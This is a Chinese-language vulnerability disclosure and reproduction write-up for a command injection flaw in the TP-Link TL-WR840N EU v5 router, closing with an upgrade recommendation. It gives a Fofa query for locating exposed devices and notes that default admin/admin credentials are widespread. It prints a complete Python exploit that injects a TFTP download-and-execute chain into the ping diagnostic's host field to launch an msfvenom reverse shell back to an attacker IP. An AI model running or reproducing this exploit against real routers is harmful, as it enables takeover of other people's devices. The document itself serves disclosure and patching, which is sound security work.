漏洞描述

TP-Link TL-WR840N 中存在远程命令执行漏洞,此漏洞需要认证后才能利用,但是在测试过程中发现,有相当一部分暴露在公网上的IP使用了默认密码 admin / admin,所以全球资产风险还是很大。存在漏洞的版本2017年就发布了,测绘中有着相当的数量。
 
 

影响版本

TL-WR840N(EU)_V5_171211 / 0.9.1 3.16 v0001.0 Build 171211 Rel.58800n
 
 

Fofa

app="TP_LINK-TL-WR840N"
 
 

漏洞复现

以下屏幕截图包含 GUI 上的相关输入参数。用户提供的输入参数不会在服务器端清理,它用于执行 PING 命令。

注意: WAN 线必须插好,路由器 IP 地址为 192.168.1.1。




供应商使用客户端 JavaScript 保护,但可以通过代理轻松绕过。



执行命令时,可以在串行控制台上看到确切的命令。



当然,我使用了 ghidra 和其他逆向工程工具来检查发生了什么,但是现在在服务器端没有清理参数就足够了。

要在路由器上执行代码,必须发送以下两个请求:

注意:还有其他请求,但它们不是实现代码执行所必需的。

请求1(主机参数易受攻击)




请求 2

简单的代码执行

下图包含 /var/tmp 文件夹的内容(通过 UART)。该文件夹是可写的。



修改host参数创建文件:

请求 1



请求 2



/var/tmp/k44 文件内容如下:

反弹shell

供应商提供的程序是有限的。成功的攻击需要多个步骤。TFTP 客户端可用于将文件从攻击者复制到路由器。



注意:用户名和密码是必需的。

生成meterpreter shell (IP, PORT)
准备 TFTP 服务器
复制shell到TFTP服务器
打开 Meterpreter 侦听器
向路由器发送请求
通过 TFTP 下载 shell
执行二进制文件并连接回攻击者

代码执行的重要部分执行以下操作:
上传外壳
更改shell的权限
执行外壳

POC

我使用我的标准 kali vm 和 msfvenom 工具来生成一个反向 shell 二进制文件。该架构是 MIPSLE。
我使用 atfpd 服务器作为 TFTP 服务器
使用多处理程序:


 

执行脚本



 

反弹

#!/usr/bin/python3
###############################################################

### tplink_TL-WR840N-EU-v5-rce-exploit_v1.py
### Version: 1.0
### Author: Matek Kamillo (k4m1ll0)
### Email: matek.kamillo@gmail.com
### Date: 2021.09.06.
##############################################################

import requests
import os
import base64

USERNAME = "admin"
PASSWORD = "admin"
URL = "http://192.168.1.1/cgi"
PATH = "/srv/tftp/shell"
ATTACKER_IP = "192.168.1.101"
COMMAND = "$(echo 127.0.0.1; tftp -g -r shell -l /var/tmp/shell " + ATTACKER_IP + "; chmod +x /var/tmp/shell; /var/tmp/shell)"

def base64_encode(s):
    msg_bytes = s.encode('ascii')
    return base64.b64encode(msg_bytes)


class Exploit(object):
    def __init__(self, username, password, command):
        self.username = username
        self.password = password
        self.command = command

        self.URL = "http://192.168.1.1/cgi"
        self.session = requests.session()
        #self.proxies = { 'http' : 'http://192.168.1.100:8080'}
        self.proxies = { }
        self.cookies = { 'Authorization' : 'Basic ' + base64_encode(username + ":" + password).decode('ascii') }
        self.headers = { 'Content-Type': 'text/plain', 'Referer' : 'http://192.168.1.1/mainFrame.htm' }

    def _prepare(self):
        print("Generating reverse shell.")
        command = "msfvenom -p linux/mipsle/shell/reverse_tcp -f elf LHOST=" + ATTACKER_IP + " LPORT=2000 -o " + PATH
        os.system(command)

    def _send_ping_command(self):
        URL = self.URL + '?2'
        data = '[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6rn'
        data += 'dataBlockSize=64rn'
        data += 'timeout=1rn'
        data += 'numberOfRepetitions=4rn'
        data += 'host=' + self.command + 'rn'
        data += 'X_TP_ConnName=ewan_ipoe_drn'
        data += 'diagnosticsState=Requestedrn'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)

    def _send_execute_command(self):
        URL = self.URL + '?7'
        data = '[ACT_OP_IPPING#0,0,0,0,0,0#0,0,0,0,0,0]0,0rn'
        r = self.session.post(URL, headers=self.headers, data=data, cookies=self.cookies, proxies=self.proxies)
       
    def execute(self):
        self._prepare()
        self._send_ping_command()
        self._send_execute_command()

if __name__ == "__main__":
    e = Exploit(USERNAME, PASSWORD, COMMAND)
    e.execute()



 

修复建议

官方建议立即升级到最新版本
TL-WR840N(EU)_V5_211109